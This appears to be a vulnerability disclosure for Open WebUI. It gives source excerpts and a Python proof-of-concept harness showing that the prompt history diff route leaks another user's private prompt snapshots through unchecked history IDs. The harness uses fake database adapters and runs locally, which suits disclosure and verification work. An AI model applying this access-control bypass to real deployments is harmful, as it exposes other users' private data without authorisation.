# backend/open_webui/routers/prompts.py
prompt = await Prompts.get_prompt_by_id(prompt_id, db=db)
...
if not (
    user.role == 'admin'
    or prompt.user_id == user.id
    or await AccessGrants.has_access(
        user_id=user.id,
        resource_type='prompt',
        resource_id=prompt.id,
        permission='read',
        db=db,
    )
):
    raise HTTPException(...)

# backend/open_webui/routers/prompts.py
diff = await PromptHistories.compute_diff(from_id, to_id, db=db)

# backend/open_webui/models/prompt_history.py
result_from = await db.execute(select(PromptHistory).filter(PromptHistory.id == from_id))
from_entry = result_from.scalars().first()
result_to = await db.execute(select(PromptHistory).filter(PromptHistory.id == to_id))
to_entry = result_to.scalars().first()
...
return {
    'from_snapshot': from_snapshot,
    'to_snapshot': to_snapshot,
    ...
}

# backend/open_webui/models/prompts.py — update_prompt_version
history_entry = await PromptHistories.get_history_entry_by_id(version_id, db=session)
...
prompt.content = snapshot.get('content', prompt.content)   # foreign snapshot copied into caller's prompt
prompt.version_id = version_id

# backend/open_webui/models/prompt_history.py — delete_history_entry
result = await db.execute(select(PromptHistory).filter_by(id=history_id))
entry = result.scalars().first()
...
await db.delete(entry)

#!/usr/bin/env python3
"""
PoC for prompt history diff IDOR.

The PoC executes:
  - the real routers.prompts.get_prompt_diff() route function
  - the real PromptHistories.compute_diff() implementation

Fake model/DB adapters are used only to avoid requiring a running server. The
security-sensitive behavior under test is that the route authorizes the prompt
ID in the URL, then computes a diff for arbitrary history IDs without checking
that those history rows belong to the authorized prompt.
"""

from __future__ import annotations

import asyncio
import json
import os
import sys
import types
from pathlib import Path
from types import SimpleNamespace


def prepare_imports() -> None:
    repo_root = Path(__file__).resolve().parents[1]
    sys.path.insert(0, str(repo_root / "backend"))
    os.environ["VECTOR_DB"] = "none"

    class DummyTyper:
        def command(self, *args, **kwargs):
            return lambda fn: fn

    sys.modules.setdefault(
        "typer",
        types.SimpleNamespace(
            Typer=lambda *args, **kwargs: DummyTyper(),
            Option=lambda *args, **kwargs: None,
            echo=lambda *args, **kwargs: None,
            Exit=Exception,
        ),
    )
    sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda *args, **kwargs: None))


class FakeScalarResult:
    def __init__(self, row):
        self.row = row

    def first(self):
        return self.row


class FakeExecuteResult:
    def __init__(self, row):
        self.row = row

    def scalars(self):
        return FakeScalarResult(self.row)


class FakePromptHistoryDb:
    def __init__(self, rows):
        self.rows = rows
        self.calls = 0

    async def execute(self, stmt):
        row = self.rows[self.calls]
        self.calls += 1
        return FakeExecuteResult(row)


class FakeDbContext:
    def __init__(self, db):
        self.db = db

    async def __aenter__(self):
        return self.db

    async def __aexit__(self, exc_type, exc, tb):
        return False


async def run_real_compute_diff(from_id: str, to_id: str):
    import open_webui.models.prompt_history as history_module

    victim_from = SimpleNamespace(
        id=from_id,
        prompt_id="victim-prompt",
        snapshot={
            "name": "Victim Prompt",
            "command": "/victim",
            "content": "PRIVATE_PROMPT_SECRET_V1",
        },
    )
    victim_to = SimpleNamespace(
        id=to_id,
        prompt_id="victim-prompt",
        snapshot={
            "name": "Victim Prompt",
            "command": "/victim",
            "content": "PRIVATE_PROMPT_SECRET_V2",
        },
    )

    fake_db = FakePromptHistoryDb([victim_from, victim_to])
    original_context = history_module.get_async_db_context
    try:
        history_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)
        diff = await history_module.PromptHistories.compute_diff(from_id, to_id)
    finally:
        history_module.get_async_db_context = original_context

    return diff


async def main() -> None:
    prepare_imports()

    import open_webui.routers.prompts as prompts_router

    attacker_prompt = SimpleNamespace(
        id="attacker-prompt",
        user_id="attacker",
    )
    attacker = SimpleNamespace(id="attacker", role="user")
    victim_from_id = "victim-history-from"
    victim_to_id = "victim-history-to"

    class FakePrompts:
        looked_up_prompt_ids = []

        async def get_prompt_by_id(self, prompt_id, db=None):
            self.looked_up_prompt_ids.append(prompt_id)
            if prompt_id == "attacker-prompt":
                return attacker_prompt
            return None

    class FakeAccessGrants:
        async def has_access(self, *args, **kwargs):
            return False

    class FakePromptHistories:
        compute_diff_calls = []

        async def compute_diff(self, from_id, to_id, db=None):
            self.compute_diff_calls.append(
                {
                    "from_id": from_id,
                    "to_id": to_id,
                    "authorized_prompt_id_not_passed": True,
                }
            )
            return await run_real_compute_diff(from_id, to_id)

    fake_prompts = FakePrompts()
    fake_histories = FakePromptHistories()

    original = {
        "Prompts": prompts_router.Prompts,
        "AccessGrants": prompts_router.AccessGrants,
        "PromptHistories": prompts_router.PromptHistories,
    }
    try:
        prompts_router.Prompts = fake_prompts
        prompts_router.AccessGrants = FakeAccessGrants()
        prompts_router.PromptHistories = fake_histories

        diff = await prompts_router.get_prompt_diff(
            prompt_id="attacker-prompt",
            from_id=victim_from_id,
            to_id=victim_to_id,
            user=attacker,
            db=None,
        )
    finally:
        for name, value in original.items():
            setattr(prompts_router, name, value)

    result = {
        "confirmed": (
            diff.get("from_snapshot", {}).get("content") == "PRIVATE_PROMPT_SECRET_V1"
            and diff.get("to_snapshot", {}).get("content") == "PRIVATE_PROMPT_SECRET_V2"
            and fake_prompts.looked_up_prompt_ids == ["attacker-prompt"]
            and fake_histories.compute_diff_calls
            and fake_histories.compute_diff_calls[0]["authorized_prompt_id_not_passed"] is True
        ),
        "attacker_user_id": "attacker",
        "authorized_prompt_id": "attacker-prompt",
        "victim_prompt_id": "victim-prompt",
        "victim_history_ids": [victim_from_id, victim_to_id],
        "prompt_ids_authorized_by_route": fake_prompts.looked_up_prompt_ids,
        "compute_diff_calls": fake_histories.compute_diff_calls,
        "leaked_from_snapshot": diff.get("from_snapshot"),
        "leaked_to_snapshot": diff.get("to_snapshot"),
        "source": {
            "route": "backend/open_webui/routers/prompts.py:get_prompt_diff",
            "sink": "backend/open_webui/models/prompt_history.py:PromptHistories.compute_diff",
        },
    }
    print(json.dumps(result, indent=2, sort_keys=True))
    if not result["confirmed"]:
        raise SystemExit(1)


if __name__ == "__main__":
    asyncio.run(main())